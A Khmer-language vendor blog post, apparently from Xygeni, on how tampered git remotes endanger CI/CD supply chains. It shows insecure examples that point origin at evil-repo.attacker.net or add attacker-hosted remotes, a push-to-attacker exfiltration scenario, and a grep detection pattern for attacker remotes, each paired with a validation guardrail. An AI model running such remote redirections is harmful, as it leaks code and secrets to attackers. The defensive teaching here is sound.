នៅពេលដែល Git remote set-url ក្លាយជាហានិភ័យនៃខ្សែសង្វាក់ផ្គត់ផ្គង់

ហានិភ័យដែលលាក់កំបាំងនៅពីក្រោយពាក្យបញ្ជា Git សាមញ្ញមួយ

សម្រាប់អ្នកអភិវឌ្ឍន៍ភាគច្រើន ការដំណើរការពាក្យបញ្ជាដូចជា git remote set-url origin មានអារម្មណ៍ថាវាជារឿងធម្មតា គ្រាន់តែជាជំហានមួយទៀតក្នុងការរក្សាការកំណត់រចនាសម្ព័ន្ធ Git។ ស្គ្រីប CI ក៏ជាទូទៅប្រតិបត្តិពាក្យបញ្ជាដូចជា git remote set-url, Git set url for remote ឬ Git remote add to fetch ឬ push code កំឡុងពេលបង្កើត។ ប៉ុន្តែនេះជាហានិភ័យ៖ ប្រសិនបើអ្នកវាយប្រហាររំខានដល់ការកំណត់រចនាសម្ព័ន្ធនោះ (ក្នុងស្រុក ឬក្នុង CI) ពួកគេអាចប្តូរទិសប្រភពរបស់អ្នកទៅកាន់ឃ្លាំងផ្ទុកមេរោគ ស្ទាក់ចាប់ព័ត៌មានសម្គាល់ ឬចាក់មេរោគខ្សែសង្វាក់ផ្គត់ផ្គង់។

ឧទាហរណ៍នៃរបៀបដែលវាត្រូវបានប្រើជាធម្មតា៖

#ការប្រើប្រាស់ស្របច្បាប់

git remote កំណត់ url ប្រភពដើម https://github.com/org/project.git

⚠️ ឧទាហរណ៍មិនមានសុវត្ថិភាព សម្រាប់គោលបំណងអប់រំតែប៉ុណ្ណោះ។ កុំប្រើក្នុងផលិតកម្ម។

				
					# ❌ Malicious alteration (insecure)
git remote set-url origin https://evil-repo.attacker.net/project.git

សុវត្ថិភាពកំណែ ភ្ជាប់កូដ និងផ្ទៀងផ្ទាត់ប្រភពដើមនៃឃ្លាំង

				
					# ✅ Secure: use a fixed, validated origin and log intent
git remote set-url origin https://github.com/secure-org/project.git
# Educational note: prefer hardcoded, audited origins or validate against a whitelist before setting.

ហេតុអ្វី? ប្រសិនបើឧបករណ៍បញ្ជាពីចម្ងាយត្រូវបានប្តូរទៅម៉ាស៊ីនដែលគ្រប់គ្រងដោយអ្នកវាយប្រហារ រាល់ការចុច git fetch/git push ជាបន្តបន្ទាប់នីមួយៗចង្អុលទៅកូដព្យាបាទ។ ធ្វើការសរសេរកូដប្រភពដើមដែលទុកចិត្តនៅពេលដែលអាចធ្វើទៅបាន និងជៀសវាង URL ថាមវន្តដែលមិនទាន់មានសុពលភាព។

របៀបដែលការរៀបចំពីចម្ងាយធ្វើឱ្យខូចដល់ការសាងសង់ Pipeline

URL ពីចម្ងាយ Git ដែលបានកែប្រែអាចមានផលវិបាកធ្ងន់ធ្ងរនៅក្នុងប្រព័ន្ធស្វ័យប្រវត្តិ pipelineដែលជាកន្លែងដែលស្គ្រីបត្រូវបានទុកចិត្តដោយប្រយោល។

សេណារីយ៉ូឧទាហរណ៍៖

ស្គ្រីប CI ប្រើ git remote set-url ដើម្បីកំណត់រចនាសម្ព័ន្ធឃ្លាំងឡើងវិញជាថាមវន្ត។
អថេរបរិស្ថានដែលរងការសម្របសម្រួល (ឧទាហរណ៍ ថូខឹន ឬ URL ឃ្លាំង) ត្រូវបានចាក់ចូលទៅក្នុងស្គ្រីប។
ការបង្កើតនេះទាញយក ឬរុញកូដទៅកាន់ repo ព្យាបាទ។
អ្នកវាយប្រហារបញ្ចូល backdoor ឬការពឹងផ្អែកដែលត្រូវបានកែប្រែ។

				
					# ❌ CI/CD pipeline with an unvalidated remote URL
steps:
  - name: Set remote
    run: git remote set-url origin $REPO_URL
  - name: Build and deploy
    run: npm install && npm run build

កំណែសុវត្ថិភាព សូមផ្ទៀងផ្ទាត់ $REPO_URL មុនពេលប្រើប្រាស់ (បញ្ជីស / ការផ្ទៀងផ្ទាត់ xygeni)។

				
					# ✅ CI/CD pipeline with validation guardrail
steps:
  - name: Validate REPO_URL
    run: |
      # Educational note: never accept raw URLs without validation.
      if ! xygeni verify --git-origin "$REPO_URL" --whitelist domains.txt; then
        echo "Untrusted repo origin: $REPO_URL" && exit 1
      fi
  - name: Set remote (safe)
    run: git remote set-url origin "$REPO_URL"
  - name: Build and deploy
    run: npm ci && npm run build

ហេតុអ្វីបានជា: ផ្ទៀងផ្ទាត់ URL repo ចូលទល់នឹងបញ្ជីសដែលបានថែរក្សា (ឬប្រើ xygeni verify --git-origin) មុនពេលធ្វើសកម្មភាពលើពួកវា។ នេះការពារអ្នកវាយប្រហារពីការបដិសេធអថេរបរិស្ថានដើម្បីប្តូរទិស pipelines.

ការរកឃើញការផ្លាស់ប្តូរដែលគ្មានការអនុញ្ញាតនៅក្នុងការកំណត់រចនាសម្ព័ន្ធពីចម្ងាយ

Git មិនជូនដំណឹងអ្នកទេ នៅពេលដែលឧបករណ៍បញ្ជាពីចម្ងាយត្រូវបានកែប្រែ។ ការត្រួតពិនិត្យជាមុននៃ .git/config និងការត្រួតពិនិត្យភាពសុចរិតមុនពេលសាងសង់គឺចាំបាច់។

បច្ចេកទេសរកឃើញជាក់ស្តែង

ពិនិត្យមើលការកំណត់រចនាសម្ព័ន្ធ Git៖

git remote -v
ប្រៀបធៀបលទ្ធផលទៅនឹង URL ដែលរំពឹងទុកដែលរក្សាទុកក្នុងមូលដ្ឋានសុវត្ថិភាព។
ធ្វើឱ្យមានសុពលភាព .git/config សុចរិតភាព៖

sha256sum .git/config
ប្រៀបធៀប checksum ទៅនឹង baseline ដែលទុកចិត្តបាន។
ការផ្ទៀងផ្ទាត់ដោយផ្អែកលើ CI៖

validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git

កំណត់ចំណាំអប់រំ៖ កុំដំណើរការការត្រួតពិនិត្យភាពសុចរិត ឬពាក្យបញ្ជាផ្ទៀងផ្ទាត់ជាមួយនឹងព័ត៌មានសម្ងាត់ដែលមានអាយុកាលយូរអង្វែងដែលត្រូវបានបង្ហាញនៅក្នុងកំណត់ហេតុ ឬបរិស្ថានដែលមិនបានការពារ។ ប្រើព័ត៌មានសម្ងាត់បណ្ដោះអាសន្ន អាថ៌កំបាំងដែលបានរក្សាទុក ហើយជៀសវាងការប្រតិបត្តិពាក្យបញ្ជាផ្ទៀងផ្ទាត់ក្នុងនាមជាអ្នកប្រើប្រាស់ដែលមានសិទ្ធិតាមដែលអាចធ្វើទៅបាន។

គន្លឹះក្នុងការរកឃើញ៖ រកមើលឧបករណ៍បញ្ជាពីចម្ងាយដែលចង្អុលទៅដែនដែលមិនមែនជាស្តង់ដារ (មិននឹកស្មានដល់) .net, .io, អាសយដ្ឋាន IP) ឈ្មោះពីចម្ងាយស្ទួន ឬអថេរបរិស្ថានដែលគ្រប់គ្រង URL repo ដោយគ្មានការផ្ទៀងផ្ទាត់។ ការរកឃើញដំបូងការពារ git set-url ការរៀបចំពីការសាងសង់ដែលបំពុល។

ការធានាសុវត្ថិភាពប្រភពដើមឃ្លាំងជាមួយ Guardrails និងការផ្ទៀងផ្ទាត់ហាស

ការបង្ការមានន័យថា ការអនុវត្តការគ្រប់គ្រងយ៉ាងតឹងរ៉ឹងលើឃ្លាំងដែលអ្នកបង្កើត។ Guardrails រួមបញ្ចូលការចុះហត្ថលេខា ការផ្ទៀងផ្ទាត់ហាស និងការរឹតបន្តឹងអ្នកដែលអាចកែប្រែអថេរ CI។

ការអនុវត្តដែលមានសុវត្ថិភាពសម្រាប់ភាពសុចរិតនៃឃ្លាំងទិន្នន័យ

Pin URL ឃ្លាំង ប្រភពដើមដែលទុកចិត្តដោយលេខកូដរឹង ដែលអាចធ្វើទៅបាន៖

				
					# ✅ Secure practice: fixed, audited origin
git remote set-url origin https://github.com/secure-org/project.git
Enforce commit signing:
# ✅ Verify commit signatures before builds
git verify-commit HEAD

ផ្ទៀងផ្ទាត់ហាសឃ្លាំង៖

ផ្ទៀងផ្ទាត់ថា HEAD ត្រូវគ្នានឹងហាសដែលរំពឹងទុកមុនពេលបង្កើត។

⚠️ ឧទាហរណ៍មិនមានសុវត្ថិភាព ការបោះពុម្ពថូខឹននៅក្នុងកំណត់ហេតុ (កុំប្រើក្នុងផលិតកម្ម)។

				
					# ❌ Insecure token handling (do not print secrets)
echo "Deploying with token: $DEPLOY_TOKEN"

កំណែសុវត្ថិភាព អានអាថ៌កំបាំងពីបន្ទប់សុវត្ថិភាព ហើយកុំបោះពុម្ព

				
					# ✅ Secure: retrieve secrets from vault and avoid echoing them
export DEPLOY_TOKEN=$(vault read -field=value secret/deploy_token)
# Educational note: Never print tokens or secrets to logs; use masked variables in CI.

បញ្ជីត្រួតពិនិត្យខ្នាតតូច៖ ការគ្រប់គ្រងពីចម្ងាយ Safe Git

អនុវត្ត ការដាក់បញ្ចូល URL ពីចម្ងាយក្នុងបញ្ជីស ឬការផ្ទៀងផ្ទាត់.
ផ្ទៀងផ្ទាត់ភាពត្រឹមត្រូវនៃ .git/config មុនពេលបង្កើត។
តម្រូវឱ្យមានហត្ថលេខា commits និងស្លាក។
ដាក់កម្រិតលើអ្នកដែលអាចកែប្រែអថេរបរិស្ថាន CI។
ការប្រតិបត្តិកំណត់ហេតុនៃ git remote set-url និង git remote add សម្រាប់ការធ្វើសវនកម្ម។

ការរួមបញ្ចូលការផ្ទៀងផ្ទាត់ URL កំណត់ពីចម្ងាយរបស់ Git ទៅក្នុង CI/CD Pipelines

បន្ថែម guardrails និងការផ្ទៀងផ្ទាត់ដោយស្វ័យប្រវត្តិ ដើម្បីបញ្ឈប់ការរៀបចំពីចម្ងាយតាំងពីដំបូង pipeline.

ឧទាហរណ៍របាំងការពារ៖ ពិនិត្យមើលឧបករណ៍បញ្ជាពីចម្ងាយដែលស្ទួន ឬគ្មានការអនុញ្ញាត

				
					# ✅ Pipeline guardrail: detect duplicate or unauthorized remotes
steps:
  - name: Check remotes
    run: |
      git remote -v > /tmp/remotes.txt
      if grep -E "evil-repo|attacker" /tmp/remotes.txt; then
        echo "Unauthorized remote detected" && exit 1
      fi
      # Validate current origin matches expected
      if ! xygeni verify --git-origin "$(git config --get remote.origin.url)" --whitelist domains.txt; then
        echo "Origin verification failed" && exit 1
      fi

ការពង្រឹងប្រឆាំងនឹងការក្លែងបន្លំខ្សែសង្វាក់ផ្គត់ផ្គង់នៅក្នុងបរិយាកាសដែលបានចែករំលែក

កម្មវិធីរត់ដែលបានចែករំលែក និងការបញ្ជាពីចម្ងាយដែលអនុញ្ញាតមានហានិភ័យខ្ពស់។ ជៀសវាងការបញ្ជាដែលបន្ថែមការបញ្ជាពីចម្ងាយដែលមិនបានត្រួតពិនិត្យអំឡុងពេលដំណើរការការងារ។

⚠️ ឧទាហរណ៍មិនមានសុវត្ថិភាព ការបន្ថែមឧបករណ៍បញ្ជាពីចម្ងាយរបស់អ្នកវាយប្រហារ (កុំប្រើ)។

				
					# ❌ Insecure: adding an unvetted remote
git remote add backup https://attacker.net/mirror.git

កំណែសុវត្ថិភាព ដាក់កម្រិតចំពោះដែនដែលមានសុពលភាព ហើយប្រើប្រាស់ –set-url សម្រាប់តែប្រភពដើមដែលត្រូវបានអនុម័តប៉ុណ្ណោះ

				
					# ✅ Secure: modify remotes only after domain validation
VALID_DOMAIN="github.com|gitlab.com|internal.company.com"
REMOTE_URL="https://github.com/secure-org/project.git"
if echo "$REMOTE_URL" | grep -Eq "$VALID_DOMAIN"; then
  git remote add backup "$REMOTE_URL"
else
  echo "Refusing to add unapproved remote" && exit 1
fi

ចំណាំ៖ ចូលចិត្តកម្មវិធីដំណើរការបណ្ដោះអាសន្ន ហើយជៀសវាងឃ្លាំងសម្ងាត់ដែលបានចែករំលែកជាប់លាប់រវាងការងារ។

កំណត់ចំណាំលើឯកសាររត់៖ ប្រើឯកសាររត់ដាច់ដោយឡែក និងបណ្តោះអាសន្ន ដែលត្រូវបានបង្កើតឡើងវិញសម្រាប់ការងារនីមួយៗ។ ថាស ឬឃ្លាំងសម្ងាត់ដែលបានចែករំលែកអាចរក្សាទុកឯកសារដែលត្រូវបានកែប្រែនៅទូទាំងការបង្កើត។

ការរួមបញ្ចូល URL កំណត់ Git សម្រាប់ការផ្ទៀងផ្ទាត់ពីចម្ងាយទៅក្នុង CI/CD Pipelines

ការធានាសុវត្ថិភាពនៃការប្រើប្រាស់ git remote set-url មិនមែនគ្រាន់តែជាការត្រួតពិនិត្យដោយដៃនោះទេ; វានិយាយអំពីស្វ័យប្រវត្តិកម្ម។ លំហូរការងារ DevSecOps ទំនើបអាចរួមបញ្ចូលការផ្ទៀងផ្ទាត់ដោយផ្ទាល់ទៅក្នុង CI/CD pipelines.

ឧទាហរណ៍៖ ការផ្ទៀងផ្ទាត់ភាពត្រឹមត្រូវពីចម្ងាយដោយស្វ័យប្រវត្តិ

				
					stages:
  - validate
  - build


validate-repo:
  script:
    - echo "Validating repository origin..."
    - xygeni enforce --policy git-origin.yaml
    - xygeni scan --detect-remote-tampering

ការកំណត់រចនាសម្ព័ន្ធនេះធានាថា មុនពេលដំណើរការការសាងសង់ ឬការដាក់ពង្រាយណាមួយ pipeline ធ្វើឱ្យមានសុពលភាព៖

URL ឃ្លាំងទិន្នន័យត្រូវគ្នានឹងតម្លៃដែលរំពឹងទុក។
Commit ហត្ថលេខាមានសុពលភាព។
គ្មានឧបករណ៍បញ្ជាពីចម្ងាយដែលមិនបានរំពឹងទុកត្រូវបានបន្ថែមដោយប្រើ git add remote ទេ។

ការគ្រប់គ្រង CI បន្ថែម

Pre-commit hooks: ពិនិត្យមើលថាគ្មានការអនុញ្ញាត git remote set-url ពាក្យបញ្ជាមាននៅក្នុង commits.
ការអនុវត្តគោលនយោបាយជាកូដ៖ កំណត់ប្រភពដើមដែលត្រូវបានអនុញ្ញាតជាផ្នែកមួយនៃគោលការណ៍ដែលគ្រប់គ្រងដោយកំណែ។
ការឆ្លុះបញ្ចាំងពីភាពអាស្រ័យ៖ ទាញកូដពីកញ្ចក់ខាងក្នុងដែលបានផ្ទៀងផ្ទាត់ជំនួសឱ្យប្រភពអ៊ីនធឺណិតដោយផ្ទាល់។

ស្វ័យប្រវត្តិកម្មការត្រួតពិនិត្យទាំងនេះ មិនត្រឹមតែការពារការកំណត់រចនាសម្ព័ន្ធមិនត្រឹមត្រូវប៉ុណ្ណោះទេ ប៉ុន្តែវាថែមទាំងរកឃើញការប៉ុនប៉ងកែប្រែខ្សែសង្វាក់ផ្គត់ផ្គង់មុនពេលដែលកូដត្រូវបានដឹកជញ្ជូនផងដែរ។

ការពង្រឹងប្រឆាំងនឹងការក្លែងបន្លំខ្សែសង្វាក់ផ្គត់ផ្គង់នៅក្នុងបរិយាកាសដែលបានចែករំលែក

កម្មវិធីរត់ដែលបានចែករំលែក ឬបរិស្ថាន CI បណ្ដោះអាសន្នបង្កើតហានិភ័យបន្ថែម។ នៅពេលដែលការបង្កើតច្រើនចែករំលែកធនធាន ពាក្យបញ្ជា git remote set-url ឬ git add remote អាចត្រូវបានប្រើប្រាស់ដើម្បីរក្សាការបញ្ជាពីចម្ងាយដែលមានគ្រោះថ្នាក់នៅទូទាំងវគ្គនានា។

សេណារីយ៉ូនៃការវាយប្រហារទូទៅ

ស្គ្រីបសាងសង់ដែលរងការសម្របសម្រួលបន្ថែមឧបករណ៍បញ្ជាពីចម្ងាយថ្មីមួយដើម្បីរុញកូដទៅកាន់ឃ្លាំងរបស់អ្នកវាយប្រហារ៖

git បន្ថែមការបម្រុងទុកពីចម្ងាយ https://attacker.example.com/repo.git

git push បម្រុងទុកសំខាន់

គម្រោងមួយផ្សេងទៀតដែលកំពុងដំណើរការលើភ្នាក់ងារ CI ដូចគ្នាទាញយកពីស្ថានភាពដែលមានមេរោគនេះ។
ទិន្នន័យរសើបដូចជាថូខឹន ឬវត្ថុបុរាណនៃការបង្កើតលេចធ្លាយតាមរយៈការជំរុញដោយគ្មានការអនុញ្ញាត។

វិធានការរឹង

អ្នករត់ប្រណាំងបណ្ដោះអាសន្ន៖ កំណត់បរិស្ថាន CI ឡើងវិញបន្ទាប់ពីការបង្កើតនីមួយៗ។
ភាពឯកោបណ្តាញ៖ ដាក់កម្រិតចរាចរណ៍ចេញទៅកាន់ដែនដែលបានអនុម័ត។
ឯកសិទ្ធិតិចបំផុត៖ កំណត់ការអនុញ្ញាតសម្រាប់ប្រតិបត្តិការ Git ក្នុង pipelines.
ការចុះហត្ថលេខាលើវត្ថុបុរាណ៖ ត្រូវប្រាកដថាលទ្ធផលនៃការបង្កើតទាំងអស់ត្រូវបានចុះហត្ថលេខា និងផ្ទៀងផ្ទាត់ដោយការអ៊ិនគ្រីប។

តាមរយៈការរួមបញ្ចូលគ្នានូវភាពឯកោ ការផ្ទៀងផ្ទាត់ និងការត្រួតពិនិត្យ ក្រុមនានាអាចបន្សាបការវាយប្រហារដែលកេងប្រវ័ញ្ច git set url សម្រាប់ការរៀបចំពីចម្ងាយ។

ផ្ទៀងផ្ទាត់ ត្រួតពិនិត្យ និងធ្វើស្វ័យប្រវត្តិកម្មការជឿទុកចិត្តលើឃ្លាំង

ការប្រើប្រាស់ខុស git remote set-url ឬ git add remote ដែលមិនទាន់បានផ្ទៀងផ្ទាត់តែមួយអាចប្តូរទិសដំណើរការសាងសង់ទាំងមូលរបស់អ្នកទៅកាន់ឃ្លាំងដែលគ្រប់គ្រងដោយអ្នកវាយប្រហារដោយស្ងៀមស្ងាត់។ ព្រំដែនរវាងផលិតភាព និងការសម្របសម្រួលនៅក្នុង DevOps គឺស្តើងជាងពេលណាៗទាំងអស់ ហើយ ការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធី កេងប្រវ័ញ្ចយ៉ាងពិតប្រាកដនូវរឿងនោះ។

ដើម្បីរក្សាទំនុកចិត្តលើខ្លួនឯង pipelines:

ផ្ទៀងផ្ទាត់ប្រភពដើមនៃឃ្លាំងជាបន្តបន្ទាប់។
អនុវត្ត commit និងការចុះហត្ថលេខាលើវត្ថុបុរាណ។
ស្វ័យប្រវត្តិ ការត្រួតពិនិត្យភាពសុចរិតនៅគ្រប់ដំណាក់កាលនៃ CI/CD.

វេទិកាដូច ស៊ីហ្គេនី ជួយក្រុម DevSecOps រកឃើញការកំណត់រចនាសម្ព័ន្ធមិនត្រឹមត្រូវពីចម្ងាយ តាមដានព្រំដែននៃការជឿទុកចិត្តលើឃ្លាំង និងទប់ស្កាត់ហានិភ័យខ្សែសង្វាក់ផ្គត់ផ្គង់ដែលបណ្តាលមកពីការប្រើប្រាស់ Git ខុស មុនពេលដែលឧបករណ៍បញ្ជាពីចម្ងាយដែលមានគំនិតអាក្រក់មានឱកាសដាក់ពង្រាយកូដ។

ជឿជាក់លើដំណើរការការងាររបស់អ្នក ប៉ុន្តែត្រូវផ្ទៀងផ្ទាត់ប្រភពរបស់អ្នក។ នោះហើយជារបៀបដែលអ្នកការពារ git remote set-url ពីការក្លាយជាការរំលោភបំពានសុវត្ថិភាពបន្ទាប់របស់អ្នក។

នៅពេលដែល Git remote set-url ក្លាយជាហានិភ័យនៃខ្សែសង្វាក់ផ្គត់ផ្គង់

ប្រកាសដែលត្រូវតែអាន

ហានិភ័យដែលលាក់កំបាំងនៅពីក្រោយពាក្យបញ្ជា Git សាមញ្ញមួយ

របៀបដែលការរៀបចំពីចម្ងាយធ្វើឱ្យខូចដល់ការសាងសង់ Pipeline

ការរកឃើញការផ្លាស់ប្តូរដែលគ្មានការអនុញ្ញាតនៅក្នុងការកំណត់រចនាសម្ព័ន្ធពីចម្ងាយ

ការធានាសុវត្ថិភាពប្រភពដើមឃ្លាំងជាមួយ Guardrails និងការផ្ទៀងផ្ទាត់ហាស

បញ្ជីត្រួតពិនិត្យខ្នាតតូច៖ ការគ្រប់គ្រងពីចម្ងាយ Safe Git

ការរួមបញ្ចូលការផ្ទៀងផ្ទាត់ URL កំណត់ពីចម្ងាយរបស់ Git ទៅក្នុង CI/CD Pipelines

ការពង្រឹងប្រឆាំងនឹងការក្លែងបន្លំខ្សែសង្វាក់ផ្គត់ផ្គង់នៅក្នុងបរិយាកាសដែលបានចែករំលែក

ការរួមបញ្ចូល URL កំណត់ Git សម្រាប់ការផ្ទៀងផ្ទាត់ពីចម្ងាយទៅក្នុង CI/CD Pipelines

ឧទាហរណ៍៖ ការផ្ទៀងផ្ទាត់ភាពត្រឹមត្រូវពីចម្ងាយដោយស្វ័យប្រវត្តិ

ការគ្រប់គ្រង CI បន្ថែម

ការពង្រឹងប្រឆាំងនឹងការក្លែងបន្លំខ្សែសង្វាក់ផ្គត់ផ្គង់នៅក្នុងបរិយាកាសដែលបានចែករំលែក

សេណារីយ៉ូនៃការវាយប្រហារទូទៅ

វិធានការរឹង

ផ្ទៀងផ្ទាត់ ត្រួតពិនិត្យ និងធ្វើស្វ័យប្រវត្តិកម្មការជឿទុកចិត្តលើឃ្លាំង

ធានាសុវត្ថិភាពនៃការអភិវឌ្ឍន៍ និងការដឹកជញ្ជូនកម្មវិធីរបស់អ្នក

ជាមួយឈុតផលិតផល Xygeni